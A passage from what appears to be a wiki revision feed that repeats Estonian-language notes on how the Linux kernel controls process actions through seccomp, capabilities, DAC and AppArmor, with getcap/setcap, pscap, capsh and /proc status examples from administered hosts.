security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3443</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3443"/>
		<updated>2026-05-04T10:15:40Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Capabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3442</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3442"/>
		<updated>2026-05-04T00:04:40Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
